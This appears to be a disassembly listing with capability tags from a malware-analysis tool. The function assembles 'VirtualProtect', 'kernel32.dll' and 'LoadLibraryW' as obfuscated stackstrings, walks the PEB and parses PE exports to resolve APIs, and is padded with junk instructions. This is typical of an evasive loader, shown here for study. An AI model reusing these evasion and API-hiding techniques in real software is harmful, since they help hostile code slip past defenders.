Function at 0x566a82
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Get process heap flags
Resolve function by parsing pe exports

Disassembly:
add dword [eax], eax
add byte [ebx - 0x1ab73], cl
push esp
invalid
invalid
dec dword [ebx - 0x6ff6b]
dec dword [ebx - 0xb77b]
inc dword [ebx]
add al, 0x8a
mov dword [ebp - 0x1b0], eax
mov ecx, dword [ebp - 0x1ac]
mov edx, dword [ebp - 0x704]
movzx eax, word [edx + ecx*2]
mov ecx, dword [ebp - 0x708]
mov edx, dword [ebp - 0xb8]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x70c], edx
mov dword [ebp - 0x30], 0
jmp 0x566790
mov eax, dword [ebp - 0x30]
add eax, 1
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x1b0]
add ecx, dword [ebp - 0x30]
movsx edx, byte [ecx]
test edx, edx
je 0x56682c
mov eax, dword [ebp - 0x30]
movsx ecx, byte [ebp + eax - 0x1ec]
test ecx, ecx
je 0x56682c
push ebx
push eax
add esp, 4
call 0x5667c5
add byte [ebx], dh
push eax
inc ecx
inc eax
inc esp
inc esp
add esp, 4
or ebx, 0x116dd
and ebx, 0x9ab6
pop ebx
push edi
jmp 0x5667de
xor edi, 0x13a2a
pop edi
mov edx, dword [ebp - 0x1b0]
add edx, dword [ebp - 0x30]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x30]
movsx edx, byte [ebp + ecx - 0x1ec]
cmp eax, edx
je 0x56681e
mov eax, dword [ebp - 0x1b0]
add eax, dword [ebp - 0x30]
movsx ecx, byte [eax]
xor ecx, 0x20
mov edx, dword [ebp - 0x30]
movsx eax, byte [ebp + edx - 0x1ec]
cmp ecx, eax
jne 0x566825
jmp 0x566787
jmp 0x56682c
push esi
and esi, 0x89ea
call 0x566842
add byte [edx], bh
inc esp
xor eax, 0x50373a49
xor al, 0x32
add esp, 4
xor esi, 0x18035
add esi, 0x1438
pop esi
push eax
push eax
add esp, 4
or eax, 0xb57e
pop eax
mov ecx, dword [ebp - 0x1b0]
add ecx, dword [ebp - 0x30]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x30]
movsx ecx, byte [ebp + eax - 0x1ec]
cmp edx, ecx
jne 0x566885
mov dword [ebp - 0x2f4], 0
jmp 0x5668ee
push eax
push ecx
add esp, 4
and eax, 0xa9a4
or eax, 0x9d4e
jmp 0x56689d
pop eax
push edx
xor edx, 0x15dd9
pop edx
push edi
call 0x5668b3
add byte [edi], bh
inc ebx
dec edx
push eax
aas
dec ebp
add esp, 4
pop edi
mov edx, dword [ebp - 0x1b0]
add edx, dword [ebp - 0x30]
movsx eax, byte [edx]
or eax, 0x20
mov ecx, dword [ebp - 0x30]
movsx edx, byte [ebp + ecx - 0x1ec]
or edx, 0x20
cmp eax, edx
jge 0x5668e4
mov dword [ebp - 0x2f4], 0xffffffff
jmp 0x5668ee
mov dword [ebp - 0x2f4], 1
cmp dword [ebp - 0x2f4], 0
jne 0x566905
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0xf0], eax
jmp 0x566916
jmp 0x56671a
mov edx, dword [ebp - 0xf0]
mov dword [ebp - 0x1e0], edx
push eax
sub eax, 0xd132
or eax, 0x14dd
pop eax
push ecx
push eax
add esp, 4
xor ecx, 0x1379f
pop ecx
push esi
push ebx
add esp, 4
call 0x566950
add byte [esi + 0x3e], cl
dec esp
dec esi
cmp dword [edi + eax*2 + 0x50], ecx
inc ebp
add esp, 4
pop esi
mov eax, dword [ebp - 0xec]
add eax, 0xe
mov dword [ebp - 0x75c], eax
push ebx
push eax
add esp, 4
call 0x566977
add byte [ebx + 0x47], cl
xor al, 0x3d
xor edi, dword [esi]
dec ebx
inc ebp
dec ebx
add esp, 4
sub ebx, 0x12150
sub ebx, 0x2dec
xor ebx, 0x11d81
pop ebx
push ebx
or ebx, 0xca85
pop ebx
cmp dword [ebp - 0xec], 0
je 0x5669a7
cmp dword [ebp - 0x268], 0
jne 0x5669ed
push ecx
add ecx, 0x3de1
or ecx, 0x10008
or ecx, 0xd06f
pop ecx
push ebx
push edi
add esp, 4
add ebx, 0x1c15
xor ebx, 0x8dff
and ebx, 0x82ff
sub ebx, 0xa521
pop ebx
mov ecx, dword [ebp - 0x1e0]
mov dword [ebp - 0x710], ecx
push 0
call dword [ebp - 0x710]
mov dword [ebp - 0x7a4], 0xa
push edi
xor edi, 0xe701
or edi, 0x526d
sub edi, 0xaef6
pop edi
push esi
or esi, 0x14ec6
sub esi, 0x12533
call 0x566a25
add byte [edi + ecx*2 + 0x35], al
inc ecx
dec ecx
dec ecx
dec esp
add esp, 4
pop esi
mov edx, dword [ebp - 0xec]
mov al, byte [edx + 0xa]
mov byte [ebp - 0xde], al
mov ecx, dword [ebp - 0x268]
sub ecx, dword [ebp - 0xec]
mov dword [ebp - 0x410], ecx
mov dword [ebp - 0x3f4], 0
push edi
push ebx
add esp, 4
or edi, 0x10063
jmp 0x566a68
pop edi
push ebx
add ebx, 0xc968
and ebx, 0x11e27
call 0x566a82
add byte [esi + 0x40], cl
dec edx
cmp eax, dword [eax + 0x4f]
add esp, 4
pop ebx
mov byte [ebp - 0x254], 0x56
mov byte [ebp - 0x253], 0x69
mov byte [ebp - 0x252], 0x72
mov byte [ebp - 0x251], 0x74
mov byte [ebp - 0x250], 0x75
mov byte [ebp - 0x24f], 0x61
mov byte [ebp - 0x24e], 0x6c
mov byte [ebp - 0x24d], 0x50
mov byte [ebp - 0x24c], 0x72
mov byte [ebp - 0x24b], 0x6f
mov byte [ebp - 0x24a], 0x74
mov byte [ebp - 0x249], 0x65
mov byte [ebp - 0x248], 0x63
mov byte [ebp - 0x247], 0x74
mov byte [ebp - 0x246], 0
push eax
push esi
add esp, 4
call 0x566b03
add byte [ebp + ecx*2 + 0x37], al
dec ebp
dec ebx
inc ebp
cmp al, 0x40
xor eax, dword [ebx + 0x4eb04c4]
cmp ecx, dword [ebx + 0x32]
xor eax, 0x7662c081
add dword [eax], eax
pop eax
push edx
xor edx, 0x55e
xor edx, 0xcc67
pop edx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x714], edx
mov eax, dword [ebp - 0x714]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x718], ecx
mov edx, dword [ebp - 0x718]
mov dword [ebp - 0x4f0], edx
push ebx
or ebx, 0x11ca
call 0x566b5d
add byte [edi], bh
cmp dl, byte [eax + 0x3e]
inc eax
inc eax
inc edx
add esp, 4
add ebx, 0xf6e3
pop ebx
push edi
and edi, 0xfcc7
xor edi, 0x10960
and edi, 0x9658
pop edi
cmp dword [ebp - 0x4f0], 0
jne 0x566b93
mov dword [ebp - 0xac], 0
jmp 0x566e24
mov eax, dword [ebp - 0x4f0]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x300], edx
push ebx
push ebx
add esp, 4
add ebx, 0x14525
add ebx, 0xc392
xor ebx, 0x10a72
pop ebx
push eax
and eax, 0x1569d
or eax, 0xca0
or eax, 0x154a3
and eax, 0x1546f
pop eax
cmp dword [ebp - 0x300], 0
jne 0x566bef
mov dword [ebp - 0xac], 0
jmp 0x566e24
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x134], eax
push ebx
push ebx
add esp, 4
jmp 0x566c07
sub ebx, 0x12979
pop ebx
push ecx
call 0x566c1d
add byte [eax + 0x41], al
xor al, 0x38
cmp al, 0x3c
inc edx
push eax
add esp, 4
pop ecx
push esi
push edi
add esp, 4
and esi, 0x6c68
pop esi
lea ecx, [ebp - 0x55c]
mov dword [ebp - 0x2fc], ecx
mov edx, dword [ebp - 0x134]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x2f8], eax
xor ecx, ecx
mov word [ebp - 0x8c], cx
xor edx, edx
mov word [ebp - 0x50], dx
push esi
push edi
add esp, 4
jmp 0x566c63
add esi, 0x3361
and esi, 0x137a
and esi, 0x6807
pop esi
push ecx
xor ecx, 0x8ee
xor ecx, 0x3752
jmp 0x566c88
pop ecx
mov eax, dword [ebp - 0x2f8]
mov cx, word [eax]
mov word [ebp - 0x396], cx
mov edx, dword [ebp - 0x2f8]
add edx, 2
mov dword [ebp - 0x2f8], edx
mov ax, word [ebp - 0x396]
mov word [ebp - 0x8c], ax
mov ecx, dword [ebp - 0x2fc]
mov dx, word [ecx]
mov word [ebp - 0x398], dx
mov eax, dword [ebp - 0x2fc]
add eax, 2
mov dword [ebp - 0x2fc], eax
mov cx, word [ebp - 0x398]
mov word [ebp - 0x50], cx
push edi
push esi
add esp, 4
and edi, 0x6b3c
add edi, 0x195c
sub edi, 0x176fa
pop edi
push ebx
and ebx, 0xf2f4
xor ebx, 0x1682b
and ebx, 0x1664f
add ebx, 0xd9cb
pop ebx
movzx edx, word [ebp - 0x50]
test edx, edx
jne 0x566d2f
movzx eax, word [ebp - 0x8c]
movzx ecx, word [ebp - 0x50]
sub eax, ecx
mov dword [ebp - 0x528], eax
jmp 0x566d73
movzx edx, word [ebp - 0x8c]
movzx eax, word [ebp - 0x50]
cmp edx, eax
je 0x566c57
movzx ecx, word [ebp - 0x8c]
movzx edx, word [ebp - 0x50]
cmp ecx, edx
jge 0x566d5d
mov dword [ebp - 0x524], 0xffffffff
jmp 0x566d67
mov dword [ebp - 0x524], 1
mov eax, dword [ebp - 0x524]
mov dword [ebp - 0x528], eax
cmp dword [ebp - 0x528], 0
jne 0x566dbc
push ebx
xor ebx, 0x1757b
jmp 0x566d88
and ebx, 0x55bd
pop ebx
push ecx
xor ecx, 0x2f74
pop ecx
push eax
push edx
add esp, 4
sub eax, 0x12095
sub eax, 0x10005
jmp 0x566dad
pop eax
mov ecx, dword [ebp - 0x134]
mov dword [ebp - 0xac], ecx
jmp 0x566e24
push ebx
and ebx, 0x8cf
sub ebx, 0xa539
add ebx, 0x13b0f
xor ebx, 0x13f91
pop ebx
push eax
push edi
add esp, 4
add eax, 0xc6e3
add eax, 0x11ada
xor eax, 0xa3ed
pop eax
mov edx, dword [ebp - 0x134]
mov eax, dword [edx]
mov dword [ebp - 0x134], eax
mov ecx, dword [ebp - 0x134]
cmp ecx, dword [ebp - 0x300]
je 0x566e1a
mov edx, dword [ebp - 0x134]
cmp dword [edx + 0x30], 0
jne 0x566bfb
mov dword [ebp - 0xac], 0
push edi
or edi, 0x472
and edi, 0x15d8f
and edi, 0xe1bd
add edi, 0x1643d
pop edi
push eax
push edx
add esp, 4
sub eax, 0xd0f1
and eax, 0xc939
or eax, 0x14c2b
pop eax
cmp dword [ebp - 0xac], 0
jne 0x5676b6
mov eax, 0x6b
mov word [ebp - 0x5e4], ax
mov ecx, 0x65
mov word [ebp - 0x5e2], cx
mov edx, 0x72
mov word [ebp - 0x5e0], dx
mov eax, 0x6e
mov word [ebp - 0x5de], ax
mov ecx, 0x65
mov word [ebp - 0x5dc], cx
mov edx, 0x6c
mov word [ebp - 0x5da], dx
mov eax, 0x33
mov word [ebp - 0x5d8], ax
mov ecx, 0x32
mov word [ebp - 0x5d6], cx
mov edx, 0x2e
mov word [ebp - 0x5d4], dx
mov eax, 0x64
mov word [ebp - 0x5d2], ax
mov ecx, 0x6c
mov word [ebp - 0x5d0], cx
mov edx, 0x6c
mov word [ebp - 0x5ce], dx
xor eax, eax
mov word [ebp - 0x5cc], ax
push edx
push edx
add esp, 4
xor edx, 0x10ae4
pop edx
push eax
push ecx
add esp, 4
call 0x566f19
add byte [edx + 0x34], al
cmp eax, dword [eax + 0x45]
cmp al, byte [ebx + 0x4eb04c4]
aaa
cmp byte [ecx + 0x3b], cl
jmp 0x566f27
xor eax, 0x9f9d
pop eax
mov byte [ebp - 0x224], 0x4c
mov byte [ebp - 0x223], 0x6f
mov byte [ebp - 0x222], 0x61
mov byte [ebp - 0x221], 0x64
mov byte [ebp - 0x220], 0x4c
mov byte [ebp - 0x21f], 0x69
mov byte [ebp - 0x21e], 0x62
mov byte [ebp - 0x21d], 0x72
mov byte [ebp - 0x21c], 0x61
mov byte [ebp - 0x21b], 0x72
mov byte [ebp - 0x21a], 0x79
mov byte [ebp - 0x219], 0x57
mov byte [ebp - 0x218], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x71c], ecx
mov edx, dword [ebp - 0x71c]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x720], eax
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x52c], ecx
push eax
push esi
add esp, 4
or eax, 0x42b4
pop eax
push edi
push ebx
add esp, 4
call 0x566fce
add byte [edi + edi], bh
dec edx
cmp al, 0x32
inc edx
add esp, 4
or edi, 0x170da
sub edi, 0xe57b
jmp 0x566fe2
pop edi
cmp dword [ebp - 0x52c], 0
jne 0x566ffb
mov dword [ebp - 0x1b8], 0
jmp 0x56728c
mov edx, dword [ebp - 0x52c]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x30c], ecx
push ebx
push ebx
add esp, 4
xor ebx, 0x17ad0
pop ebx
push edx
xor edx, 0x1223b
or edx, 0x622
pop edx
push edi
or edi, 0x5936
call 0x56703b
add byte [ebx + esi + 0x4b], cl
dec edi
cmp byte [eax + 0x4a], cl
add esp, 4
pop edi
cmp dword [ebp - 0x30c], 0
jne 0x567057
mov dword [ebp - 0x1b8], 0
jmp 0x56728c
mov edx, dword [ebp - 0x30c]
mov dword [ebp - 0x11c], edx
push ecx
sub ecx, 0x106e2
call 0x567076
add byte [esi + 0x3d], al
dec edx
cmp cl, byte [ebx + 0x34]
add esp, 4
pop ecx
push edx
or edx, 0x1192b
call 0x567091
add byte [edi + 0x3f], cl
inc ebx
dec edx
dec esi
cmp bh, byte ds:[ecx]
dec eax
dec ebx
add esp, 4
pop edx
lea eax, [ebp - 0x5e4]
mov dword [ebp - 0x308], eax
mov ecx, dword [ebp - 0x11c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x304], edx
xor eax, eax
mov word [ebp - 0x90], ax
xor ecx, ecx
mov word [ebp - 0x54], cx
push eax
call 0x5670cf
add byte [eax + 0x38], cl
cmp bh, byte [esi]
cmp dword [eax + 0x3c], eax
xor dh, byte [ebx + eax*4]
les eax, [ecx + eax*4]
invalid
cmp dword [ebp - 0x1b8], 0
jne 0x5672d6
push ebx
push eax
add esp, 4
xor ebx, 0x3c28
jmp 0x5672a5
add ebx, 0x11efe
pop ebx
push edi
sub edi, 0x5b94
jmp 0x5672bb
jmp 0x5672c0
xor edi, 0x2faf
pop edi
mov dword [ebp - 0x26c], 0
jmp 0x567d2e
push esi
push ecx
add esp, 4
call 0x5672e7
add byte [esi], dh
dec eax
xor edi, dword [esi]
xor eax, dword [edx - 0x7d]
les eax, [ecx + eax*4]
out 0x32, al
fild word [eax]
add byte [ecx + 0x14e08ce], al
add byte [esi + 0x51], bl
call 0x567304
add byte [ebp + 0x44], cl
cmp eax, 0x83394033
les eax, [ecx + ebx*2]
mov edx, dword [ebp - 0x1b8]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x1c8], 0
mov ecx, dword [ebp - 0xc0]
mov dword [ebp - 0x538], ecx
cmp dword [ebp - 0x538], 0
jne 0x567347
mov edx, dword [ebp - 0x1c8]
mov dword [ebp - 0xe8], edx
jmp 0x56760d
mov eax, dword [ebp - 0x538]
mov ecx, dword [ebp - 0xc0]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x53c], ecx
jne 0x56736f
mov edx, dword [ebp - 0x1c8]
mov dword [ebp - 0xe8], edx
jmp 0x56760d
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x53c]
mov eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0x540], eax
cmp dword [ebp - 0x540], 0
jne 0x5673a1
mov ecx, dword [ebp - 0x1c8]
mov dword [ebp - 0xe8], ecx
jmp 0x56760d
mov edx, dword [ebp - 0xc0]
add edx, dword [ebp - 0x540]
mov dword [ebp - 0x1bc], edx
jne 0x5673c6
mov eax, dword [ebp - 0x1c8]
mov dword [ebp - 0xe8], eax
jmp 0x56760d
mov ecx, dword [ebp - 0x1bc]
mov edx, dword [ebp - 0xc0]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x724], edx
mov eax, dword [ebp - 0x1bc]
mov ecx, dword [ebp - 0xc0]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x728], ecx
mov edx, dword [ebp - 0x1bc]
mov eax, dword [ebp - 0xc0]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x72c], eax
mov dword [ebp - 0x1c0], 0
jmp 0x567420
mov ecx, dword [ebp - 0x1c0]
add ecx, 1
mov dword [ebp - 0x1c0], ecx
mov edx, dword [ebp - 0x1bc]
mov eax, dword [ebp - 0x1c0]
cmp eax, dword [edx + 0x18]
jae 0x567601
mov ecx, dword [ebp - 0x1c0]
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0xc0]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x1c4], eax
mov ecx, dword [ebp - 0x1c0]
mov edx, dword [ebp - 0x728]
movzx eax, word [edx + ecx*2]
mov ecx, dword [ebp - 0x72c]
mov edx, dword [ebp - 0xc0]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x730], edx
mov dword [ebp - 0x2c], 0
jmp 0x567487
mov eax, dword [ebp - 0x2c]
add eax, 1
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x1c4]
add ecx, dword [ebp - 0x2c]
movsx edx, byte [ecx]
test edx, edx
je 0x567523
mov eax, dword [ebp - 0x2c]
movsx ecx, byte [ebp + eax - 0x224]
test ecx, ecx
je 0x567523
push edi
and edi, 0x3104
xor edi, 0x73cf
pop edi
push eax
jmp 0x5674c2
pop eax
push esi
sub esi, 0x15655
and esi, 0x111fb
jmp 0x5674d5
xor esi, 0x9684
pop esi
mov edx, dword [ebp - 0x1c4]
add edx, dword [ebp - 0x2c]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x2c]
movsx edx, byte [ebp + ecx - 0x224]
cmp eax, edx
je 0x567515
mov eax, dword [ebp - 0x1c4]
add eax, dword [ebp - 0x2c]
movsx ecx, byte [eax]
xor ecx, 0x20
mov edx, dword [ebp - 0x2c]
movsx eax, byte [ebp + edx - 0x224]
cmp ecx, eax
jne 0x56751c
jmp 0x56747e
jmp 0x567523
push edi
push ecx
add esp, 4
add edi, 0x11ffa
and edi, 0xfed6
sub edi, 0x126c
pop edi
push edx
push edi
add esp, 4
sub edx, 0x4f0b
or edx, 0xe33
pop edx
push esi
sub esi, 0x10e62
pop esi
mov ecx, dword [ebp - 0x1c4]
add ecx, dword [ebp - 0x2c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x2c]
movsx ecx, byte [ebp + eax - 0x224]
cmp edx, ecx
jne 0x56757c
mov dword [ebp - 0x310], 0
jmp 0x5675e5
push edi
add edi, 0x6f47
pop edi
push edi
push eax
add esp, 4
or edi, 0x6d4f
jmp 0x567595
pop edi
push eax
push edi
add esp, 4
xor eax, 0x992
and eax, 0xa517
and eax, 0x62c0
pop eax
mov edx, dword [ebp - 0x1c4]
add edx, dword [ebp - 0x2c]
movsx eax, byte [edx]
or eax, 0x20
mov ecx, dword [ebp - 0x2c]
movsx edx, byte [ebp + ecx - 0x224]
or edx, 0x20
cmp eax, edx
jge 0x5675db
mov dword [ebp - 0x310], 0xffffffff
jmp 0x5675e5
mov dword [ebp - 0x310], 1
cmp dword [ebp - 0x310], 0
jne 0x5675fc
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0xe8], eax
jmp 0x56760d
jmp 0x567411
mov ecx, dword [ebp - 0x1c8]
mov dword [ebp - 0xe8], ecx
cmp dword [ebp - 0xe8], 0
je 0x5676b6
push edi
push edi
add esp, 4
xor edi, 0x6348
sub edi, 0xa0b9
jmp 0x567633
and edi, 0x13299
pop edi
push ebx
push esi
add esp, 4
or ebx, 0x6033
add ebx, 0xa4cc
pop ebx
mov edx, dword [ebp - 0xe8]
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
mov dword [ebp - 0x738], eax
lea ecx, [ebp - 0x55c]
push ecx
call dword [ebp - 0x738]
test eax, eax
jne 0x5676b6
push esi
push ecx
add esp, 4
jmp 0x567680
jmp 0x567685
add esi, 0xf7ef
pop esi
push edi
add edi, 0x13c2
sub edi, 0xf557
jmp 0x5676a0
and edi, 0x15a73
pop edi
mov dword [ebp - 0x26c], 0
jmp 0x567d2e
mov edx, dword fs:[0x18]
mov dword [ebp - 0x73c], edx
mov eax, dword [ebp - 0x73c]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x740], ecx
mov edx, dword [ebp - 0x740]
mov dword [ebp - 0x3f8], edx
push eax
jmp 0x5676e4
xor eax, 0x1db5
sub eax, 0x1454a
pop eax
push eax
push esi
add esp, 4
jmp 0x5676fd
call 0x56770c
add byte [ebx], dh
dec edi
cmp byte [esi], dh
dec esi
xor al, 0x38
cmp dword [eax - 0x7d], ecx
les eax, [eax + ebx*2]
cmp dword [ebp - 0x3f8], 0
jne 0x567728
mov dword [ebp - 0xac], 0
jmp 0x5679b9
mov eax, dword [ebp - 0x3f8]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x31c], edx
push eax
push eax
add esp, 4
sub eax, 0x11606
add eax, 0x12753
and eax, 0x360e
pop eax
push esi
push esi
add esp, 4
and esi, 0x1175
pop esi
push edi
xor edi, 0x9309
add edi, 0xd5c7
pop edi
cmp dword [ebp - 0x31c], 0
jne 0x567784
mov dword [ebp - 0xac], 0
jmp 0x5679b9
mov eax, dword [ebp - 0x31c]
mov dword [ebp - 0x108], eax
push eax
push ebx
add esp, 4
add eax, 0x154a6
call 0x5677ab
add byte [ebx], dh
cmp byte [ecx + 0x3b], al
dec ebx
cmp bh, byte [ebx]
dec esp
cmp cl, byte [ebx + eax*4 - 0x3c]
add al, 0xe8
or eax, dword [eax]
add byte [eax], al
add byte [ecx + 0x34], cl
cmp eax, 0x343c4142
aas
cmp byte [ecx - 0x7d], cl
les eax, [eax + ebx*2]
lea ecx, [ebp - 0x55c]
mov dword [ebp - 0x318], ecx
mov edx, dword [ebp - 0x108]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x314], eax
xor ecx, ecx
mov word [ebp - 0x94], cx
xor edx, edx
mov word [ebp - 0x58], dx
push esi
call 0x5677fa
add byte [ecx + 0x37], cl
inc esp
dec edx
dec esi
dec ebx
xor eax, 0x5e04c483
push eax
push ebx
add esp, 4
or eax, 0x17d59
jmp 0x567811
and eax, 0x10a0e
add eax, 0x933f
pop eax
mov eax, dword [ebp - 0x314]
mov cx, word [eax]
mov word [ebp - 0x39e], cx
mov edx, dword [ebp - 0x314]
add edx, 2
mov dword [ebp - 0x314], edx
mov ax, word [ebp - 0x39e]
mov word [ebp - 0x94], ax
mov ecx, dword [ebp - 0x318]
mov dx, word [ecx]
mov word [ebp - 0x3a0], dx
mov eax, dword [ebp - 0x318]
add eax, 2
mov dword [ebp - 0x318], eax
mov cx, word [ebp - 0x3a0]
mov word [ebp - 0x58], cx
push esi
xor esi, 0x6baa
pop esi
push ecx
push esi
add esp, 4
or ecx, 0x14a93
pop ecx
push edi
push esi
add esp, 4
or edi, 0x3070
or edi, 0x651b
pop edi
push edi
push esi
add esp, 4
xor edi, 0x15fe
pop edi
movzx edx, word [ebp - 0x58]
test edx, edx
jne 0x5678c4
movzx eax, word [ebp - 0x94]
movzx ecx, word [ebp - 0x58]
sub eax, ecx
mov dword [ebp - 0x400], eax
jmp 0x567908
movzx edx, word [ebp - 0x94]
movzx eax, word [ebp - 0x58]
cmp edx, eax
je 0x5677ec
movzx ecx, word [ebp - 0x94]
movzx edx, word [ebp - 0x58]
cmp ecx, edx
jge 0x5678f2
mov dword [ebp - 0x3fc], 0xffffffff
jmp 0x5678fc
mov dword [ebp - 0x3fc], 1
mov eax, dword [ebp - 0x3fc]
mov dword [ebp - 0x400], eax
cmp dword [ebp - 0x400], 0
jne 0x567951
push esi
push ebx
add esp, 4
xor esi, 0x12cb2
add esi, 0xcef6
pop esi
push eax
jmp 0x56792a
and eax, 0x10373
sub eax, 0x1a2b
pop eax
push ecx
push esi
add esp, 4
and ecx, 0x1168c
pop ecx
mov ecx, dword [ebp - 0x108]
mov dword [ebp - 0xac], ecx
jmp 0x5679b9
push ebx
and ebx, 0xf33f
and ebx, 0x1176a
call 0x56796a
add byte [ecx], bh
xor al, 0x49
inc edx
cmp al, 0x44
add esp, 4
pop ebx
push edi
push esi
add esp, 4
call 0x56797f
add byte [edi + 0x35], cl
inc ecx
dec ebp
push eax
dec ebp
add esp, 4
pop edi
mov edx, dword [ebp - 0x108]
mov eax, dword [edx]
mov dword [ebp - 0x108], eax
mov ecx, dword [ebp - 0x108]
cmp ecx, dword [ebp - 0x31c]
je 0x5679af
mov edx, dword [ebp - 0x108]
cmp dword [edx + 0x30], 0
jne 0x567790
mov dword [ebp - 0xac], 0
push esi
jmp 0x5679c1
call 0x5679cd
add byte [ebx], dh
inc esi
xor cl, byte [esp + esi + 0x3f]
add esp, 4
pop esi
push esi
push esi
add esp, 4
sub esi, 0x12c6e
add esi, 0x6d07
pop esi
push esi
sub esi, 0x12009
pop esi
mov eax, dword [ebp - 0xac]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0xc4], ecx
push ecx
add ecx, 0x16aa3
sub ecx, 0x17b1a
pop ecx
push edi
sub edi, 0x6dd5
call fcn.00567a1c